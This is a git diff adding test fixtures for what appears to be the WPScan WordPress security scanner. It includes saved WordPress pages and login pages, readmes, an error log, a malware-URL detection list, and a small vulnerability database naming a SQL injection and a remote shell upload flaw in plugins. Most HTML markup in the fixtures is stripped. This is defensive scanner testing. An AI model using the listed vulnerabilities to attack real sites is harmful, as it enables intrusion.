true}c=a(j).closest("form").find(":checkbox");e=c.index(j);k=c.index(this);i=a(this).prop("checked");if(0=0){l=this.scrollTop;n.value=r.substring(0,s).concat("\t",r.substring(m));n.selectionStart=n.selectionEnd=s+1;this.scrollTop=l}}if(q.stopPropagation){q.stopPropagation()}if(q.preventDefault){q.preventDefault()}});a("#newcontent").bind("blur.wpevent_InsertTab",function(l){if(this.lastKey&&9==this.lastKey){this.focus()}});if(d.length){d.closest("form").submit(function(l){if(a('select[name="action"]').val()==-1&&a('select[name="action2"]').val()==-1&&d.val()==f){d.val("1")}})}a(window).bind("resize.autofold",function(){if(getUserSetting("mfold")=="f"){return}var l=a(window).width();if(l<=800){if(!h){a(document.body).addClass("folded");h=true}}else{if(h){a(document.body).removeClass("folded");h=false}}}).triggerHandler("resize")});a(document).bind("wp_CloseOnEscape",function(c,b){if(typeof(b.cb)!="function"){return}if(typeof(b.condition)!="function"||b.condition()){b.cb()}return true})})(jQuery); \ No newline at end of file diff --git a/spec/fixtures/wpscan/modules/malwares/clean.html b/spec/fixtures/wpscan/modules/malwares/clean.html new file mode 100755 index 00000000..1224e88b --- /dev/null +++ b/spec/fixtures/wpscan/modules/malwares/clean.html @@ -0,0 +1,137 @@ + + + + + + + + + + +Wordpress 3.3.2 | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/modules/malwares/malwares.txt b/spec/fixtures/wpscan/modules/malwares/malwares.txt new file mode 100644 index 00000000..5b770ab9 --- /dev/null +++ b/spec/fixtures/wpscan/modules/malwares/malwares.txt @@ -0,0 +1,3 @@ +http://.*.rr.nu +http://www.thesea.org/media.php + diff --git a/spec/fixtures/wpscan/modules/malwares/multiple-infections.html b/spec/fixtures/wpscan/modules/malwares/multiple-infections.html new file mode 100644 index 00000000..b4ccc026 --- /dev/null +++ b/spec/fixtures/wpscan/modules/malwares/multiple-infections.html @@ -0,0 +1,145 @@ + + + + + + + + + + +Wordpress 3.3.2 | Just another WordPress site + + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/modules/malwares/single-iframe-infection.html b/spec/fixtures/wpscan/modules/malwares/single-iframe-infection.html new file mode 100644 index 00000000..11fc92a9 --- /dev/null +++ b/spec/fixtures/wpscan/modules/malwares/single-iframe-infection.html @@ -0,0 +1,143 @@ + + + + + + + + + + +Wordpress 3.3.2 | Just another WordPress site + + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/modules/malwares/single-infection.html b/spec/fixtures/wpscan/modules/malwares/single-infection.html new file mode 100755 index 00000000..fa1401da --- /dev/null +++ b/spec/fixtures/wpscan/modules/malwares/single-infection.html @@ -0,0 +1,143 @@ + + + + + + + + + + +Wordpress 3.3.2 | Just another WordPress site + + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + diff --git a/spec/fixtures/wpscan/modules/web_site/wp-login.php b/spec/fixtures/wpscan/modules/web_site/wp-login.php new file mode 100755 index 00000000..25d015e5 --- /dev/null +++ b/spec/fixtures/wpscan/modules/web_site/wp-login.php @@ -0,0 +1,54 @@ + + + + + Wordpress 3.3.2 › Log In + + + + + +

Wordpress 3.3.2

+ +
+

+ +

+

+ +

+

+

+ + + +

+
+ + + + + +

← Back to Wordpress 3.3.2

+
+ + +
+ + diff --git a/spec/fixtures/wpscan/modules/web_site/xmlrpc.php b/spec/fixtures/wpscan/modules/web_site/xmlrpc.php new file mode 100755 index 00000000..3f908866 --- /dev/null +++ b/spec/fixtures/wpscan/modules/web_site/xmlrpc.php @@ -0,0 +1 @@ +XML-RPC server accepts POST requests only. \ No newline at end of file diff --git a/spec/fixtures/wpscan/modules/wp_config_backup/wp-config.php b/spec/fixtures/wpscan/modules/wp_config_backup/wp-config.php new file mode 100755 index 00000000..e47e1b5a --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_config_backup/wp-config.php @@ -0,0 +1,90 @@ + +
+ + + + + +
( ! ) + Fatal error: Call to undefined function _deprecated_file() in +/home/web/www/blog/wordpress/wp-includes/rss-functions.php on line 8
Call Stack
#TimeMemoryFunctionLocation
10.0000630936{main}( )../rss-functions.php:0
+ \ No newline at end of file diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-better_wp_security.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-better_wp_security.php new file mode 100644 index 00000000..e69de29b diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-bluetrait_event_viewer.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-bluetrait_event_viewer.php new file mode 100644 index 00000000..e69de29b diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-clean.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-clean.php new file mode 100755 index 00000000..25d015e5 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-clean.php @@ -0,0 +1,54 @@ + + + + + Wordpress 3.3.2 › Log In + + + + + +

Wordpress 3.3.2

+ +
+

+ +

+

+ +

+

+

+ + + +

+
+ + + + + +

← Back to Wordpress 3.3.2

+
+ + +
+ + diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-limit_login_attempts.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-limit_login_attempts.php new file mode 100644 index 00000000..e69de29b diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lock.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lock.php new file mode 100755 index 00000000..043335a4 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lock.php @@ -0,0 +1,54 @@ + + + + + Wordpress 3.3.2 › Log In + + + + + +

Wordpress 3.3.2

+ +
+

+ +

+

+ +

+

Site protected by LOGIN LOCK
Strong WordPress Security

+

+ + + +

+
+ + + + + +

← Back to Wordpress 3.3.2

+
+ + +
+ + diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lockdown.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lockdown.php new file mode 100755 index 00000000..d1eaa13f --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_lockdown.php @@ -0,0 +1,54 @@ + + + + + Wordpress 3.3.2 › Log In + + + + + +

Wordpress 3.3.2

+ +
+

+ +

+

+ +

+

Login form protected by Login LockDown.


+

+ + + +

+
+ + + + + +

← Back to Wordpress 3.3.2

+
+ + +
+ + diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_security_solution.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-login_security_solution.php new file mode 100644 index 00000000..e69de29b diff --git a/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-simple_login_lockdown.php b/spec/fixtures/wpscan/modules/wp_login_protection/wp-login-simple_login_lockdown.php new file mode 100644 index 00000000..e69de29b diff --git a/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/no_plugins.htm b/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/no_plugins.htm new file mode 100755 index 00000000..3ccbb478 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/no_plugins.htm @@ -0,0 +1,21 @@ + + + + + + Example.com + + + + + +
+
+

+ Blablabla +

+
+
+ + + diff --git a/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/one_plugin.htm b/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/one_plugin.htm new file mode 100644 index 00000000..354ba12a --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/one_plugin.htm @@ -0,0 +1,26 @@ + + + + + + Example.com + + + + + + + + + + +
+
+

+ Blablabla +

+
+
+ + + diff --git a/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/various_plugins.htm b/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/various_plugins.htm new file mode 100644 index 00000000..7ef71d25 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_plugins/passive_detection/various_plugins.htm @@ -0,0 +1,58 @@ + + + + + + Example.com + + + + + + + + + + + + + + + + + + +
+
+

+ Blablabla the following plugin should not match : /wp-content/plugins/this-plugin-should-not-match/sub.css +

+
+
+ + + + + + + + + diff --git a/spec/fixtures/wpscan/modules/wp_plugins/plugin_vulns.xml b/spec/fixtures/wpscan/modules/wp_plugins/plugin_vulns.xml new file mode 100644 index 00000000..71074947 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_plugins/plugin_vulns.xml @@ -0,0 +1,18 @@ + + + + + Wordpress Media Library Categories plugin<= 1.0.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17628/ + SQLI + + + + + + Wordpress FCKeditor Deans With Pwwangs Code Plugin <= 1.0.0 Remote Shell Upload + http://packetstormsecurity.org/files/111319/ + RFI + + + diff --git a/spec/fixtures/wpscan/modules/wp_plugins/plugins.txt b/spec/fixtures/wpscan/modules/wp_plugins/plugins.txt new file mode 100644 index 00000000..32c178b8 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_plugins/plugins.txt @@ -0,0 +1,5 @@ +display-widgets/display-widgets.php +regenerate-thumbnails/readme.txt +formidable/formidable.php +exclude-pages/exclude_pages.php +regenerate-thumbnails/readme.txt diff --git a/spec/fixtures/wpscan/modules/wp_readme/readme-3.2.1.html b/spec/fixtures/wpscan/modules/wp_readme/readme-3.2.1.html new file mode 100755 index 00000000..691753e2 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_readme/readme-3.2.1.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.2.1 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wpscan/modules/wp_readme/readme-3.3.2-fr.html b/spec/fixtures/wpscan/modules/wp_readme/readme-3.3.2-fr.html new file mode 100755 index 00000000..1f8c0576 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_readme/readme-3.3.2-fr.html @@ -0,0 +1,106 @@ + + + + + WordPress › À lire + + + +

+ WordPress +
Version 3.3.1 + +

+

Plateforme de publication sémantique personnelle

+ +

Préambule

+

Bienvenue. WordPress est un projet très spécial pour moi. Chaque développeur et contributeur ajoute quelque chose d'unique à ce projet, et ensemble nous créons quelque chose de beau, et dont je suis fier de faire partie. Nous avons passé des milliers d'heures sur le développement WordPress, et nous nous attachons tous les jours à vous faciliter la vie. Merci d'en faire une partie d'un morceau de votre monde.

+

— Matt Mullenweg

+ +

Installation : la fameuse installation en 5 minutes

+
    +
  1. Décompressez l'archive dans un dossier vide de votre ordinateur, puis mettez tous ces fichiers en ligne ;
  2. +
  3. Ouvrez le fichier wp-config-sample.php avec votre éditeur de texte préféré, comme WordPad ou similaire, et complétez les informations liées à votre base de données ;
  4. +
  5. Sauvegardez le fichier sous le nom wp-config.php ;
  6. +
  7. Envoyez le tout sur votre hébergement via un logiciel client FTP ;
  8. +
  9. Ouvrez le fichier /wp-admin/install.php dans votre navigateur. Celui-ci vous guidera dans la création du fichier wp-config.php, qui contient les détails de connexion à votre base de données ; +
      +
    1. Si cela ne marchait pas, ne vous inquietez pas : certains hébergeurs n'autorisent pas la création de fichier. Ouvrez le fichier wp-config.php avec un éditeur de texte, et saissez-y directement les détails de connexion à votre base de données ;
    2. +
    3. Enregistrez le fichier sous le nom wp-config.php et mettez-le en ligne ;
    4. +
    5. Ouvrez le fichier wp-admin/install.php dans votre navigateur ;
    6. +
    +
  10. +
  11. Une fois le fichier de configuration correctement rempli, l'installateur met en place les tables nécessaires à votre blog. Si vous obtenez une erreur, vérifiez le contenu du fichier wp-config.php, et réessayez. Si cela échoue encore une fois, rendez-vous sur les forums d'entraide et soyez le plus précis possible dans vos explications. Si tout se passe bien, passez à l'étape suivante ;
  12. +
  13. Si vous n'avez pas précisé de mot de passe, notez bien celui qui vous est donné. Si vous n'avez pas précisé d'identifiant utilisateur, ce sera admin ;
  14. +
  15. Une fois l'installation terminée, le script d'installation vous renverra vers la page de connexion. Connectez-vous avec l'identifiant et le mot de passe précisés (ou générés) durant l'installation. Si le mot de passe a été généré pour vous, cliquez sur "Profil" pour le modifier.
  16. +
+ +

Mise à jour

+

A l'aide de l'outil de mise à jour automatique

+

Si votre version de WordPress est égale ou supérieure à 2.7, vous pouvez utiliser l'outil de mise à jour automatique :

+
    +
  1. Ouvrez la page wp-admin/update-core.php dans votre navigateur, et suivez les instructions ;
  2. +
  3. Vous pensiez qu'il y aurai d'autres étapes ? C'est tout !
  4. +
+ +

Mise à jour manuelle (obligatoire pour les versions de WordPress inférieures à 2.7) :

+
    +
  1. Avant tout, assurez-vous bien de disposer de copies de sauvegarde de tous les fichiers que vous avez modifiés, par exemple index.php.
  2. +
  3. Effacez vos anciens fichiers WordPress, sauf ceux que vous avez modifié, comme wp-config.php ou le contenu du dossier /wp-content/.
  4. +
  5. Mettez en ligne les nouveaux fichiers en provenance de l'archive de WordPress.
  6. +
  7. Allez sur la page /wp-admin/upgrade.php avec votre navigateur internet.
  8. +
+ +

Modification dans les thèmes

+

Si vous avez modifié votre thème, vous aurez probablement quelques modifications à faire

+ +

Migrer depuis d'autres logiciels/plates-formes

+

WordPress peut importer les articles en provenance de nombreux autres outils (en). Vous devez d'abord installer WordPress comme expliqué plus haut, puis utiliser un des importateurs.

+ +

Pré-requis fonctionnels

+
    +
  • PHP version 5.2.4 ou plus ;
  • +
  • MySQL version 5.0 ou plus.
  • +
+ +

Ressources en ligne

+

Si vous vous posez des questions dont les réponses ne figurent pas sur ce document, vous disposez de nombreuses ressources en ligne :

+
+
Le Codex WordPress
+
Le Codex est l'encyclopédie liée à tout le fonctionnement de WordPress. Il s'agit de la source d'informations la plus complète qui soit.
+
Le blog de WordPress
+
C'est ici que vous trouverez les dernières informations, les annonces et les nouveautés de WordPress. Les derniers articles de ce blog sont affichés dans le Tableau de Bord de WordPress par défaut.
+
Planète WordPress
+
La Planète WordPress est un agrégateur de news qui distille les articles de plusieurs blogs WordPress à travers le web.
+
Support WordPress Francophone
+
Si vous avez cherché partout et que malgré cela vous n'avez trouvé aucune réponse, les forums sont très actifs et son immense communauté sera prête à vous aider. Pour un traitement efficace de votre problème, faites en sorte d'utiliser, lors de la création de votre sujet, un titre et une description aussi pertinents et clairs que possible.
+
Canal IRC WordPress
+
Il existe un canal IRC qui est le rendez-vous des utilisateurs WordPress, et occasionnellement, propose son aide aux sujets liés au support. La page Wiki devrait vous indiquer la bonne direction.
+
+ +

Interfaces XML-RPC et Atom

+

Il vous est possible d'écrire vos articles via des outils de publication comme Windows Live Writer, Ecto, Bloggar, Radio Userland (ce qui signifie que vous pouvez utiliser leur fonction "email-to-blog"), NewzCrawler, et d'autres outils qui utilisent les API de blog :) Pour en savoir davantage, rendez-vous sur la page du Codex expliquant le support XML-RPC (en).

+ +

Publier par messagerie

+

Il vous est possible d'écrire directement vos articles à partir d'un logiciel de messagerie ! Pour cela, vous devez vous rendre sur la page d'options "Ecriture" et indiquer les détails de votre compte POP3 secret. Ensuite, vous devez faire en sorte que wp-mail.php s'exécute périodiquement, afin qu'il parcoure votre boite aux lettres à la recherche de nouveaux articles. Vous pouvez par exemple créer une tâche cron, ou si votre hébergeur ne supporte pas cette possibilité, il existe de nombreux sites proposant un service similaire de monitoring : il vous suffira d'indiquer l'adresse de votre fichier wp-mail.php

+

Publier devient facile : n'importe quel message envoyé à l'adresse que vous aurez précisée sera publié, le sujet du message étant le titre de l'article. Il est préférable de conserver cette adresse à l'abri des regards indiscrets. Le script effacera automatiquement les message qui auront été publiés avec succès

+ +

Rôles d'utilisateurs

+

Nous avons mis en place un système de rôles très flexible dans la version 2.0. Référez-vous à la partie du codex expliquant les rôles et capacités des utilisateurs (en).

+ +

Pour finir

+
    +
  • Si vous avez des suggestions, des idées, des commentaires ou si (oups !) avez trouvé un bug, venez nous rejoindre sur les forums anglophones .
  • +
  • WordPress possède une API d'extension robuste, qui permet d'étendre les possibilités de son code de manière simple. Si vous êtes un développeur intéressé par son utilisation, rendez-vous sur la documentation des extensions sur le Codex. Vous ne devriez pas avoir à modifier une partie du code original.
  • +
+ +

Faites connaître WordPress !

+

WordPress ne possède pas une kyrielle de millions de dollars pour s'offrir une campagne marketing, ni de célèbres sponsors, mais nous avons bien mieux : VOUS. Si vous appréciez WordPress, n'hésitez pas à en parler à votre entourage, vos amis, en aidant d'autres personnes ayant un niveau inférieur au vôtre, ou encore écrire un article faisant référence à notre travail.

+ +

WordPress est la reprise officielle de b2/cafélog, provenant de Michel V. Le travail a continué d'être assuré par les développeurs WordPress. Si vous voulez apporter votre soutien à WordPress, n'hésitez pas à faire un don.

+ +

Licence

+

WordPress est un logiciel libre, mis à disposition sous les termes de la licence GPL version 2, ou de toute version suivante, au choix (voir license.txt (en anglais)).

+ + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/modules/wp_timthumbs/timthumb.php b/spec/fixtures/wpscan/modules/wp_timthumbs/timthumb.php new file mode 100755 index 00000000..584da595 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_timthumbs/timthumb.php @@ -0,0 +1,2 @@ + +no image specified \ No newline at end of file diff --git a/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt b/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt new file mode 100644 index 00000000..5463268b --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_timthumbs/timthumbs.txt @@ -0,0 +1,3 @@ +wp-content/plugins/feature-slideshow/timthumb.php +wp-content/plugins/fotoslide/timthumb.php +wp-content/plugins/feature-slideshow/timthumb.php diff --git a/spec/fixtures/wpscan/modules/wp_usernames/admin.htm b/spec/fixtures/wpscan/modules/wp_usernames/admin.htm new file mode 100755 index 00000000..68837e10 --- /dev/null +++ b/spec/fixtures/wpscan/modules/wp_usernames/admin.htm @@ -0,0 +1,145 @@ + + + + + + + + + + +admin | Wordpress 3.3.2 + + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_plugin/error_log/error_log b/spec/fixtures/wpscan/wp_plugin/error_log/error_log new file mode 100755 index 00000000..5836f0c1 --- /dev/null +++ b/spec/fixtures/wpscan/wp_plugin/error_log/error_log @@ -0,0 +1,25 @@ +[13-Jan-2009 01:53:25] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[13-Jan-2009 01:55:58] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[13-Jan-2009 02:13:34] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/error_log.php on line 19 +[15-Feb-2009 10:47:54] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/error_log.php on line 19 +[15-Feb-2009 11:36:15] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[15-Feb-2009 16:45:37] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[04-Mar-2009 18:54:31] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[21-Mar-2009 20:32:21] PHP Fatal error: Class 'Log' not found in /home/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[29-Mar-2009 16:25:40] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[06-Apr-2009 01:17:56] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[03-May-2009 00:07:57] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[10-May-2009 05:57:57] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[21-May-2009 01:23:52] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/error_log.php on line 19 +[02-Jun-2009 23:10:20] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[17-Jun-2009 13:49:05] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/error_log.php on line 19 +[17-Jun-2009 14:57:33] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/error_log.php on line 19 +[23-Jun-2009 01:55:21] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[06-Aug-2009 09:27:53] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[31-Aug-2009 22:13:54] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[03-Sep-2009 15:20:03] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/error_log.php on line 19 +[13-Sep-2009 07:49:45] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 +[22-Sep-2009 19:46:47] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[02-Feb-2010 15:52:56] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/file.php on line 20 +[02-Feb-2010 16:05:19] PHP Fatal error: Class 'Log' not found in /home3/****/public_html/svatba/wp-content/plugins/fbconnect/Log/null.php on line 19 + diff --git a/spec/fixtures/wpscan/wp_plugin/version/simple-login-lockdown-0.4.txt b/spec/fixtures/wpscan/wp_plugin/version/simple-login-lockdown-0.4.txt new file mode 100755 index 00000000..16b1336e --- /dev/null +++ b/spec/fixtures/wpscan/wp_plugin/version/simple-login-lockdown-0.4.txt @@ -0,0 +1,65 @@ +=== Simple Login Lockdown === +Contributors: chrisguitarguy +Donate link: http://www.pwsausa.org/ +Tags: security, login +Requires at least: 3.2.0 +Tested up to: 3.3 +Stable tag: 0.4 + +Simple Login Lockdown prevents brute force login attacks/attempts on your WordPress installation. + +== Description == + +imple login lock down is a way to protect your WordPress blog from brute force login attacks. + +How it works: +1. An attacker attempts to login and fails +2. Simple Login Lockdown record that failed login +3. After a certain number of failed attemps (defaults to five), further attemps to access the wp-login.php page are blocked for a time (defaults to one hour). + +If you happen to forget your password and make a failed login attemp yourself, the plugin will clear out the lockdown count data on successful login. + +Note: This uses $_SERVER['REMOTE_ADDR'] directly. If you're behind a proxy (load balancer, etc), it's not going to work as expected. Eg. Several folks could be attempting logins at once, and all fail. As such, the plugin would pick up on all those requests coming from the same IP -- the load balancer -- and lock the login down. No good. If you're using a load balancer or in some other situation where you're behind a proxy, use this as an example and write your own. Or filter the IP as your desire using `cd_sll_pre_ip`. + +== Installation == + +Install via the WordPress admin or... + +1. Click on the big orange button that says download +2. Unzip the file, and upload the `simple-login-lockdown` folder to your wp-content/plugins directory +3. Login into your website and activate the plugin! + +== Frequently Asked Questions == + += I got locked out, what do I do? = + +Simple answer: wait. The lockdown will clear in the time you specified, just visit the site again later. + +If you absolutely need to get into your site right now, you can can do one of two things... +1. Fire up your FTP client and rename the `simple-login-lockdown` plugin folder +2. Login into your favorite database administration tool (probably PHPMyAdmin) and search for `locked_down_` in the `option_name` column of the `wp_options` table. Delete the records you find -- they should be "transients". + +== Screenshots == + +1. The plugin options on the Privacy Settings page + +== Changelog == + += 0.1 = +* Proof of concept +* no options page + += 0.2 = +* New function to get the IP address. +* Added filter to IP for flexibility with proxies, etc. + += 0.3 = +* small bug fix + += 0.4 = +* Added plugin options page + +== Upgrade Notice == + += 04 = +* Dont get attacked! diff --git a/spec/fixtures/wpscan/wp_plugin/version/trunk-version.txt b/spec/fixtures/wpscan/wp_plugin/version/trunk-version.txt new file mode 100755 index 00000000..f9fffb33 --- /dev/null +++ b/spec/fixtures/wpscan/wp_plugin/version/trunk-version.txt @@ -0,0 +1,44 @@ +=== Simple Login Lockdown === +Contributors: chrisguitarguy +Donate link: http://www.pwsausa.org/ +Tags: security, login +Requires at least: 3.2.0 +Tested up to: 3.3 +Stable tag: trunk + +Simple Login Lockdown prevents brute force login attacks/attempts on your WordPress installation. + +== Description == + +imple login lock down is a way to protect your WordPress blog from brute force login attacks. + +How it works: +1. An attacker attempts to login and fails +2. Simple Login Lockdown record that failed login +3. After a certain number of failed attemps (defaults to five), further attemps to access the wp-login.php page are blocked for a time (defaults to one hour). + +If you happen to forget your password and make a failed login attemp yourself, the plugin will clear out the lockdown count data on successful login. + +Note: This uses $_SERVER['REMOTE_ADDR'] directly. If you're behind a proxy (load balancer, etc), it's not going to work as expected. Eg. Several folks could be attempting logins at once, and all fail. As such, the plugin would pick up on all those requests coming from the same IP -- the load balancer -- and lock the login down. No good. If you're using a load balancer or in some other situation where you're behind a proxy, use this as an example and write your own. Or filter the IP as your desire using `cd_sll_pre_ip`. + +== Installation == + +Install via the WordPress admin or... + +1. Click on the big orange button that says download +2. Unzip the file, and upload the `simple-login-lockdown` folder 